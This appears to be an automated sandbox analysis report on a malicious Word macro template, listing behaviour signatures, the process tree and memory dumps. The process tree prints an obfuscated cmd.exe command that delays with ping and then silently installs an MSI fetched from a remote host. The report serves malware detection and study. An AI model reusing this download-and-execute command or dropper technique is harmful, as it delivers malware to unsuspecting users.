Analysis
- max time kernel
147s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20240319-en - resource tags
- submitted
10/04/2024, 10:16
General
- Target 33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548.dotm
- Size 67KB
- Sample240410-mar7bacb29
- SHA256 33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Use of msiexec (install) with remote resource 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Drops file in Windows directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious use of AdjustPrivilegeToken 34 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C P^i^Ng 127.0.0.1 -n 66 > NUL && M^S^Ie^x^e^c /i http://2215.site/cdt4821.msi /qn2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEPiNg 127.0.0.1 -n 663⤵
- Runs ping.exe
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C:\Windows\system32\msiexec.exeMSIexec /i http://2215.site/cdt4821.msi /qn3⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4956 --field-trial-handle=3408,i,16599691418790971742,134777455365707676,262144 --variations-seed-version /prefetch:81⤵
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
gb.xsl
ExcludeDictionaryEN0409.lex
memory/4928-9-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-2-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp
memory/4928-4-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-5-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-6-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp
memory/4928-7-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp
memory/4928-8-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-1-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-10-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-11-0x00007FFE79BF0000-0x00007FFE79C00000-memory.dmp
memory/4928-12-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-13-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-14-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-15-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-16-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-17-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-20-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-19-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-60-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-22-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-21-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-48-0x0000028A492B0000-0x0000028A4A280000-memory.dmp
memory/4928-49-0x0000028A492B0000-0x0000028A4A280000-memory.dmp
memory/4928-50-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-51-0x0000028A492B0000-0x0000028A4A280000-memory.dmp
memory/4928-3-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp
memory/4928-58-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-59-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-18-0x00007FFE79BF0000-0x00007FFE79C00000-memory.dmp
memory/4928-61-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-62-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-65-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp
memory/4928-66-0x0000028A492B0000-0x0000028A4A280000-memory.dmp
memory/4928-67-0x0000028A492B0000-0x0000028A4A280000-memory.dmp
memory/4928-68-0x0000028A492B0000-0x0000028A4A280000-memory.dmp
memory/4928-0-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp